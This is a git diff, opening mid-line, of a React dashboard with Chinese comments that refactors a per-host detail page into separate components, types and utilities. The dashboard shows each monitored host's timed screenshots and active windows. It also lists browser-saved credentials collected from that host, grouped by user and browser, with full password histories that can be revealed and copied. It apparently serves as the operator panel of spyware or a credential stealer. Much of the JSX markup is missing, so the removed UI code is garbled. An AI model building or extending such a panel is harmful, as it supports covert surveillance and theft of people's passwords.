data = await response.json(); - - // 更新当前记录列表中的星标状态 - setRecords(prev => prev.map(record => - record.id === recordId - ? { ...record, isStarred: data.isStarred } - : record - )); - - // 更新选中记录的星标状态 - if (selectedRecord && selectedRecord.id === recordId) { - setSelectedRecord(prev => prev ? { ...prev, isStarred: data.isStarred } : null); - } - - // 如果在星标页面,更新星标记录列表 - if (activeTab === 'starred') { - if (data.isStarred) { - // 如果变为星标,重新获取星标列表 - fetchStarredRecords(); - } else { - // 如果取消星标,从列表中移除 - setStarredRecords(prev => prev.filter(record => record.id !== recordId)); - } - } - - } catch (error) { - console.error('切换星标状态失败:', error); - } finally { - setUpdatingStars(prev => { - const newSet = new Set(prev); - newSet.delete(recordId); - return newSet; - }); - } - }; - - // 批量操作星标记录 - const batchToggleStars = async (recordIds: string[], action: 'star' | 'unstar') => { - try { - const response = await fetch(`/hosts/${hostname}/starred`, { - method: 'POST', - headers: { - 'Content-Type': 'application/json' - }, - body: JSON.stringify({ - action, - recordIds - }) - }); - - if (!response.ok) throw new Error('批量操作星标失败'); - const data = await response.json(); - - const isStarred = action === 'star'; - - // 更新当前记录列表中的星标状态 - setRecords(prev => prev.map(record => - recordIds.includes(record.id) - ? { ...record, isStarred } - : record - )); - - // 更新选中记录的星标状态(如果存在) - if (selectedRecord && recordIds.includes(selectedRecord.id)) { - setSelectedRecord(prev => prev ? { ...prev, isStarred } : null); - } - - // 如果在星标页面,重新获取星标记录列表 - if (activeTab === 'starred') { - fetchStarredRecords(); - } - - return data; - - } catch (error) { - console.error('批量操作星标失败:', error); - throw error; - } - }; - - // 获取凭据数据 - const fetchCredentials = async () => { - try { - setLoadingCredentials(true); - const response = await fetch(`/hosts/${hostname}/credentials`); - if (!response.ok) throw new Error('获取凭据数据失败'); - const data = await response.json(); - setCredentials(data); - - if (data.length > 0) { - const firstUser = data[0].username; - if (!expandedUsers.includes(firstUser)) { - setExpandedUsers([firstUser]); - } - } - } catch (error) { - console.error('获取凭据数据失败:', error); - } finally { - setLoadingCredentials(false); - } - }; - - // 获取小时记录 - const fetchHourlyRecords = async (startTime: number, endTime: number) => { - try { - setLoadingRecords(true); - setShowDetailTimeline(true); - const response = await fetch( - `/hosts/${hostname}/screenshots?startTime=${startTime}&endTime=${endTime}` - ); - if (!response.ok) throw new Error('获取记录数据失败'); - const data = await response.json(); - setRecords(data.records.reverse()); - setLastUpdate(data.lastUpdate); - setTimeRange({ min: startTime * 1000, max: endTime * 1000 }); - - requestAnimationFrame(() => { - setSelectedRecord(data.records[0]); - }); - } catch (error) { - console.error('获取记录数据失败:', error); - } finally { - setLoadingRecords(false); - } - }; - - // 生成视频 - const generateVideo = async () => { - if (!showDetailTimeline || !timeRange.min || !timeRange.max) { - alert('请先选择时间范围'); - return; - } - - try { - setGeneratingVideo(true); - - const startTime = Math.floor(timeRange.min / 1000); - const endTime = Math.floor(timeRange.max / 1000); - - const videoUrl = `/api/generate/video?hostname=${encodeURIComponent(hostname)}&startTime=${startTime}&endTime=${endTime}`; - - // 在新标签页中打开视频 - window.open(videoUrl, '_blank'); - - } catch (error) { - console.error('生成视频失败:', error); - alert('生成视频失败,请稍后重试'); - } finally { - setGeneratingVideo(false); - } - }; - - // 组织凭据数据按用户分组 - const credentialsByUser = useMemo(() => { - const userMap = new Map(); - - credentials.forEach(cred => { - if (!userMap.has(cred.username)) { - userMap.set(cred.username, []); - } - userMap.get(cred.username)!.push(cred); + const handleViewRecord = (record: ScreenRecord) => { + const date = new Date(record.timestamp); + const dateStr = `${date.getFullYear()}-${(date.getMonth() + 1).toString().padStart(2, '0')}-${date.getDate().toString().padStart(2, '0')}`; + + setSelectedDate(dateStr); + setJumpRequest({ + timestamp: date.getTime(), + recordId: record.id }); - - const result: UserGroup[] = []; - - userMap.forEach((userCreds, username) => { - const latestSyncTime = userCreds.reduce((latest, cred) => { - const credTime = new Date(cred.lastSyncTime); - return credTime > latest ? credTime : latest; - }, new Date(0)).toISOString(); - - const browserMap = new Map(); - - userCreds.forEach(cred => { - if (!browserMap.has(cred.browser)) { - browserMap.set(cred.browser, []); - } - browserMap.get(cred.browser)!.push(cred); - }); - - const browsers: BrowserGroup[] = []; - browserMap.forEach((browserCreds, browserName) => { - browsers.push({ - name: browserName, - credentials: browserCreds - }); - }); - - result.push({ - username, - browsers, - total: userCreds.length, - lastSyncTime: latestSyncTime - }); - }); - - return result; - }, [credentials]); - - // 日历相关计算 - const dailyCounts = useMemo(() => { - const map: Record = {}; - timeDistribution.forEach(point => { - const d = new Date(point.timestamp * 1000); - const dateStr = `${d.getFullYear()}-${(d.getMonth() + 1).toString().padStart(2, '0')}-${d.getDate().toString().padStart(2, '0')}`; - map[dateStr] = (map[dateStr] || 0) + point.count; - }); - return map; - }, [timeDistribution]); - - // 小时分布滑块相关计算 - const hourlyMinTime = useMemo(() => { - if (selectedDate) { - const [year, month, day] = selectedDate.split('-').map(Number); - const dayStart = new Date(year, month - 1, day); - return dayStart.getTime(); - } - if (timeDistribution.length === 0) return Date.now(); - const minSec = Math.min(...timeDistribution.map(d => d.timestamp)); - return minSec * 1000; - }, [selectedDate, timeDistribution]); - - const hourlyMaxTime = useMemo(() => { - if (selectedDate) { - const [year, month, day] = selectedDate.split('-').map(Number); - const dayStart = new Date(year, month - 1, day); - const dayEnd = new Date(dayStart); - dayEnd.setDate(dayStart.getDate() + 1); - return dayEnd.getTime(); - } - if (timeDistribution.length === 0) return Date.now(); - const maxSec = Math.max(...timeDistribution.map(d => d.timestamp)); - return (maxSec + 3599) * 1000; - }, [selectedDate, timeDistribution]); - - const hourlySegments = useMemo(() => { - const segments: Segment[] = []; - if (selectedDate) { - const [year, month, day] = selectedDate.split('-').map(Number); - const dayStart = new Date(year, month - 1, day); - const startSec = Math.floor(dayStart.getTime() / 1000); - const dayEnd = new Date(dayStart); - dayEnd.setDate(dayEnd.getDate() + 1); - const endSec = Math.floor(dayEnd.getTime() / 1000); - - for (let t = startSec; t < endSec; t += 3600) { - const segStart = t * 1000; - const segEnd = (t + 3600) * 1000; - const data = timeDistribution.find(d => d.timestamp >= t && d.timestamp < t + 3600); - segments.push({ - start: segStart, - end: segEnd, - active: !!data && data.count > 0 - }); - } - } else { - if (timeDistribution.length === 0) return segments; - const startSec = Math.min(...timeDistribution.map(d => d.timestamp)); - const endSec = Math.max(...timeDistribution.map(d => d.timestamp)); - for (let t = startSec; t <= endSec; t += 3600) { - const segStart = t * 1000; - const segEnd = (t + 3600) * 1000; - const data = timeDistribution.find(d => d.timestamp === t); - segments.push({ - start: segStart, - end: segEnd, - active: data ? data.count > 0 : false - }); - } - } - return segments; - }, [selectedDate, timeDistribution]); - - // 详细时间点标记 - const detailedMarkers = useMemo(() => { - return records.map(record => ({ - time: new Date(record.timestamp).getTime(), - label: format(new Date(record.timestamp), 'HH:mm:ss'), - active: true - })); - }, [records]); - - // 事件处理函数 - const onHourlySliderChange = (newValue: number) => { - const selectedSec = Math.floor(newValue / 3600000) * 3600; - - // 使用 setTimeout 避免在渲染过程中更新状态 - setTimeout(() => { - setHourlySliderValue(newValue); - fetchHourlyRecords(selectedSec, selectedSec + 3600); - }, 0); + setActiveTab('screenshots'); }; - const onDetailedSliderChange = (newValue: number) => { - if (records.length === 0) return; - const targetTime = newValue; - let closestRecord = records[0]; - let minDiff = Math.abs(new Date(closestRecord.timestamp).getTime() - targetTime); - - for (const record of records) { - const diff = Math.abs(new Date(record.timestamp).getTime() - targetTime); - if (diff < minDiff) { - minDiff = diff; - closestRecord = record; - } - } - - // 使用 setTimeout 避免在渲染过程中更新状态 - setTimeout(() => { - setSelectedRecord(closestRecord); - setDetailedSliderValue(newValue); - }, 0); - }; - - // 展开/折叠功能 - const toggleUserExpanded = (username: string) => { - if (expandedUsers.includes(username)) { - setExpandedUsers(expandedUsers.filter(u => u !== username)); - } else { - setExpandedUsers([...expandedUsers, username]); - } - }; - - const toggleBrowserExpanded = (browserKey: string) => { - if (expandedBrowsers.includes(browserKey)) { - setExpandedBrowsers(expandedBrowsers.filter(b => b !== browserKey)); - } else { - setExpandedBrowsers([...expandedBrowsers, browserKey]); - } - }; - - const toggleCredentialExpanded = (credId: string) => { - if (expandedCredentials.includes(credId)) { - setExpandedCredentials(expandedCredentials.filter(c => c !== credId)); - } else { - setExpandedCredentials([...expandedCredentials, credId]); - } - }; - - const revealPassword = (passwordKey: string) => { - if (!revealedPasswords.includes(passwordKey)) { - setRevealedPasswords([...revealedPasswords, passwordKey]); - } - }; - - const copyToClipboard = async (text: string) => { - try { - await navigator.clipboard.writeText(text); - } catch (err) { - console.error('复制失败:', err); - } - }; - - // 播放控制 - const nextFrame = () => { - if (currentFrameIndex < records.length - 1) { - setCurrentFrameIndex(currentFrameIndex + 1); - setSelectedRecord(records[currentFrameIndex + 1]); - } else { - setAutoPlay(false); - } - stopAutoPlayTimer(); - }; - - const prevFrame = () => { - if (currentFrameIndex > 0) { - setCurrentFrameIndex(currentFrameIndex - 1); - setSelectedRecord(records[currentFrameIndex - 1]); - } - stopAutoPlayTimer(); - }; - - const toggleAutoPlay = () => { - setAutoPlay(!autoPlay); - }; - - const startAutoPlayTimer = useCallback(() => { - - if (autoPlay) { - autoPlayTimer.current = setTimeout(() => { - nextFrame(); - }, autoPlaySpeed); - } - }, [autoPlay, autoPlaySpeed, currentFrameIndex, records.length]); - - const stopAutoPlayTimer = () => { - if (autoPlayTimer.current) { - clearTimeout(autoPlayTimer.current); - autoPlayTimer.current = null; - } - }; - - const onImageLoad = (event: React.SyntheticEvent, fileId: string) => { - setImagesLoadedCount(prev => prev + 1); - const imgEl = event.target as HTMLImageElement; - if (imgEl.naturalHeight !== 0) { - setImageAspectRatio(imgEl.naturalWidth / imgEl.naturalHeight); - } - setLoadingImageIds(prev => { - const next = new Set(prev); - next.delete(fileId); - return next; - }); - }; - - const onImageError = (fileId: string) => { - setLoadingImageIds(prev => { - const next = new Set(prev); - next.delete(fileId); - return next; - }); - }; - - // 键盘快捷键处理 - useEffect(() => { - const handleKeyPress = (event: KeyboardEvent) => { - // 防止在输入框中触发快捷键 - if (event.target instanceof HTMLInputElement || event.target instanceof HTMLTextAreaElement) { - return; - } - - switch (event.code) { - case 'Space': - event.preventDefault(); - toggleAutoPlay(); - break; - case 'ArrowLeft': - event.preventDefault(); - prevFrame(); - break; - case 'ArrowRight': - event.preventDefault(); - nextFrame(); - break; - case 'KeyS': - event.preventDefault(); - if (selectedRecord) { - toggleRecordStar(selectedRecord.id); - } - break; - } - }; - - document.addEventListener('keydown', handleKeyPress); - return () => { - document.removeEventListener('keydown', handleKeyPress); - }; - }, [selectedRecord, toggleAutoPlay, prevFrame, nextFrame, toggleRecordStar]); - - // 滚轮事件处理 - useEffect(() => { - const WHEEL_THRESHOLD = 20; // 累计多少像素后才切换(可调整) - - const handleWheel = (event: WheelEvent) => { - // 累计水平滚动距离 - wheelDeltaAccumulator.current += event.deltaX; - - // 检查是否超过阈值 - if (Math.abs(wheelDeltaAccumulator.current) >= WHEEL_THRESHOLD) { - if (wheelDeltaAccumulator.current < 0) { - // 向左滚动,上一帧 - prevFrame(); - } else { - // 向右滚动,下一帧 - nextFrame(); - } - // 重置累计器 - wheelDeltaAccumulator.current = 0; - } - }; - - document.addEventListener('wheel', handleWheel, { passive: true }); - return () => { - document.removeEventListener('wheel', handleWheel); - // 清理累计器 - wheelDeltaAccumulator.current = 0; - }; - }, [prevFrame, nextFrame]); - - // Effects - useEffect(() => { - fetchTimeDistribution(); - fetchCredentials(); - }, [hostname]); - - useEffect(() => { - if (activeTab === 'starred') { - fetchStarredRecords(); - } - }, [activeTab, hostname]); - - useEffect(() => { - if (!selectedDate && Object.keys(dailyCounts).length > 0) { - const dates = Object.keys(dailyCounts).sort(); - if (dates.length > 0) { - setSelectedDate(dates[0]); - } - } - }, [dailyCounts, selectedDate]); - - useEffect(() => { - setHourlySliderValue(hourlyMinTime); - }, [hourlyMinTime]); - - useEffect(() => { - if (selectedDate) { - const activeSegment = hourlySegments.find(s => s.active); - const newValue = activeSegment ? activeSegment.start + 1800000 : hourlyMinTime; - setHourlySliderValue(newValue); - onHourlySliderChange(newValue); - } - }, [selectedDate, hourlySegments, hourlyMinTime]); - - useEffect(() => { - setDetailedSliderValue(timeRange.min); - }, [timeRange.min]); - - useEffect(() => { - setImagesLoadedCount(0); - - if (selectedRecord) { - const idx = records.findIndex(rec => rec.timestamp === selectedRecord.timestamp); - setCurrentFrameIndex(idx); - setDetailedSliderValue(new Date(selectedRecord.timestamp).getTime()); - } - if (autoPlay) { - startAutoPlayTimer(); - } - }, [selectedRecord, records, autoPlay, startAutoPlayTimer]); - - useEffect(() => { - if (selectedRecord) { - setLoadingImageIds(new Set(selectedRecord.screenshots.map(s => s.fileId))); - } else { - setLoadingImageIds(new Set()); - } - }, [selectedRecord]); - - useEffect(() => { - if (autoPlay) { - stopAutoPlayTimer(); - startAutoPlayTimer(); - } - }, [autoPlay, autoPlaySpeed, startAutoPlayTimer]); - return (
@@ -798,535 +90,26 @@ export default function HostDetail() {
- {/* 截图时间线选项卡 */} + {/* 选项卡内容 */} {activeTab === 'screenshots' && ( -
-
- {/* 小时分布滑块(时间分布) */} -
-
-

时间分布

- -
- - - - {hourlySegments.length > 0 ? ( -
- -
- ) : ( -
加载时间分布中...
- )} -
- - {/* 详细时间点滑块 */} - {showDetailTimeline && ( -
-
-

时间点详情

-
- - -
-
- - {records.length > 0 ? ( - - ) : ( -
加载记录中...
- )} -
- )} -
- - {/* 图片预览区域及控制按钮 */} -
- {selectedRecord && ( -
- { - !(navigator as any).connection?.saveData && - records.map(record => record.screenshots).flat() - .filter((_, index) => Math.abs(index - currentFrameIndex) <= 20) - .map(screenshot => ) - } - {/* 图片预览区域 */} - {selectedRecord.screenshots.map((screenshot, sIndex) => ( -
-
- {screenshot.monitorName} onImageLoad(e, screenshot.fileId)} - onError={() => onImageError(screenshot.fileId)} - /> - {loadingImageIds.has(screenshot.fileId) && ( -
- -
- )} -
- - {/* 图片说明 */} -
-
{screenshot.monitorName}
-
- {new Date(selectedRecord.timestamp).toLocaleString()} -
-
- - {/* 左侧点击区域 - 上一帧 */} -
{ e.preventDefault(); prevFrame(); }} - onTouchStart={(e) => e.preventDefault()} - className="absolute bottom-0 left-0 h-full w-1/3 text-white px-2 py-1 cursor-pointer" - /> - - {/* 右侧点击区域 - 下一帧 */} -
{ e.preventDefault(); nextFrame(); }} - onTouchStart={(e) => e.preventDefault()} - className="absolute bottom-0 right-0 h-full w-1/3 text-white px-2 py-1 cursor-pointer" - /> -
- ))} - - {/* 控制按钮区域 */} -
-
- - {/* 速度控制 */} -
- 播放速度 -
- setAutoPlaySpeed(Number(e.target.value))} - className="w-20 text-sm px-3 py-1.5 border border-gray-300 dark:border-gray-500 rounded-md focus:outline-none focus:ring-2 focus:ring-blue-500 focus:border-transparent bg-white dark:bg-gray-700 text-gray-900 dark:text-white transition-colors" - min="0" - max="2000" - step="50" - /> - 毫秒 -
-
- - {/* 播放控制按钮 */} - - - {/* 星标按钮 */} - -
- - {/* 快捷键提示 */} -
-
- - 空格 - 播放/暂停 - - - ←/→ - 上一帧/下一帧 - - - S - 切换星标 - -
-
-
- - {/* 窗口信息 */} -
-

活动窗口

-
-
- {selectedRecord.windows.map((window, index) => ( -
-
-
- {window.title} -
-
- {window.path} -
-
- 内存占用: {formatMemory(window.memory)} -
-
-
- ))} -
-
-
-
- )} -
-
+ )} - {/* 星标记录选项卡 */} {activeTab === 'starred' && ( -
-
-

- - 星标记录 -

- -
- - {/* 加载状态 */} - {loadingStarred ? ( -
-
- -

加载星标记录...

-
-
- ) : starredRecords.length === 0 ? ( -
- -

还没有星标记录

-

在截图时间线中点击星标按钮来收藏重要记录

-
- ) : ( -
- {starredRecords.map((record) => ( -
- {/* 缩略图 */} - {record.screenshots.length > 0 && ( -
- {record.screenshots[0].monitorName} -
- )} - - {/* 记录信息 */} -
-
-
- {formatDate(record.timestamp, 'short')} -
- -
- -
- {record.screenshots.length} 个截图 • {record.windows.length} 个窗口 -
- - {/* 窗口预览 */} - {record.windows.length > 0 && ( -
- 主要窗口: {record.windows[0].title} -
- )} - - {/* 查看按钮 */} - -
-
- ))} -
- )} -
+ )} - {/* 凭据信息选项卡 */} {activeTab === 'credentials' && ( -
-
-

凭据信息

-
- -
-
- - {/* 加载状态 */} - {loadingCredentials ? ( -
-
- -

加载凭据信息...

-
-
- ) : credentialsByUser.length === 0 ? ( -
- -

没有找到任何凭据信息

-

可能是该主机尚未上报凭据数据

-
- ) : ( -
- {credentialsByUser.map((userGroup, index) => ( -
- {/* 用户信息头部 */} -
-
-
toggleUserExpanded(userGroup.username)} - > - -

{userGroup.username}

-
- ({userGroup.browsers.length} 个浏览器, {userGroup.total} 个凭据) -
-
- {userGroup.lastSyncTime ? `最后同步: ${formatDate(userGroup.lastSyncTime, 'short')}` : '未同步'} -
-
-
-
- - {/* 用户凭据内容 */} - {expandedUsers.includes(userGroup.username) && ( -
- {userGroup.browsers.map((browser) => ( -
- {/* 浏览器标题 */} -
toggleBrowserExpanded(`${userGroup.username}-${browser.name}`)} - > -
- - {browser.name} - - ({browser.credentials.length} 个站点) - -
- -
- - {/* 浏览器凭据列表 */} - {expandedBrowsers.includes(`${userGroup.username}-${browser.name}`) && ( -
- {browser.credentials.map((cred) => { - // 统一计算凭据唯一 ID(兼容 _id / id),若都不存在,用组合键兜底 - const credentialId = cred._id || cred.id || `${userGroup.username}-${browser.name}-${cred.url}-${cred.login}`; - const isExpanded = expandedCredentials.includes(credentialId); - return ( -
- {/* 凭据网站头部 */} -
toggleCredentialExpanded(credentialId)} - > -
- -
- {cred.url} -
-
- -
- - {/* 凭据详情 */} - {isExpanded && ( -
-
-
- 用户名: - {cred.login} -
- -
-
- 密码历史: - - {cred.passwords.length} 条记录 - -
- -
- {cred.passwords.map((pwd, pwdIndex) => { - const pwdKey = `${credentialId}-${pwdIndex}`; - const revealed = revealedPasswords.includes(pwdKey); - return ( -
- - {formatDate(pwd.timestamp, 'short')} - -
- revealed ? null : revealPassword(pwdKey)} - > - {revealed ? pwd.value : '••••••••'} - - -
-
- ); - })} -
-
-
-
- )} -
- ); - })} -
- )} -
- ))} -
- )} -
- ))} -
- )} -
+ )}
diff --git a/app/hosts/[hostname]/types.ts b/app/hosts/[hostname]/types.ts new file mode 100644 index 0000000..fa062fd --- /dev/null +++ b/app/hosts/[hostname]/types.ts @@ -0,0 +1,65 @@ +export interface Screenshot { + fileId: string; + filename: string; + monitorName: string; +} + +export interface Window { + title: string; + path: string; + memory: number; +} + +export interface ScreenRecord { + id: string; + timestamp: string; + isStarred: boolean; + windows: Window[]; + screenshots: Screenshot[]; +} + +export interface TimeDistributionPoint { + count: number; + timestamp: number; +} + +export interface Password { + value: string; + timestamp: string; +} + +export interface Credential { + _id?: string; + id?: string; + hostname: string; + username: string; + browser: string; + url: string; + login: string; + passwords: Password[]; + lastSyncTime: Date; +} + +export interface BrowserGroup { + name: string; + credentials: Credential[]; +} + +export interface UserGroup { + username: string; + browsers: BrowserGroup[]; + total: number; + lastSyncTime?: string; +} + +export interface Segment { + start: number; + end: number; + active: boolean; +} + +export interface Marker { + time: number; + label?: string; + active?: boolean; +} diff --git a/app/hosts/[hostname]/utils.ts b/app/hosts/[hostname]/utils.ts new file mode 100644 index 0000000..9564cfe --- /dev/null +++ b/app/hosts/[hostname]/utils.ts @@ -0,0 +1,20 @@ +import { format } from 'date-fns'; + +export const formatMemory = (bytes: number | string) => { + bytes = typeof bytes === 'string' ? parseInt(bytes, 10) : bytes; + const units = ['B', 'KB', 'MB', 'GB']; + let size = bytes; + let unitIndex = 0; + while (size >= 1024 && unitIndex < units.length - 1) { + size /= 1024; + unitIndex++; + } + return `${size.toFixed(1)} ${units[unitIndex]}`; +}; + +export const formatDate = (date: string | Date, type: 'full' | 'short' = 'full') => { + if (type === 'short') { + return format(new Date(date), 'MM-dd HH:mm'); + } + return format(new Date(date), 'yyyy-MM-dd HH:mm:ss'); +};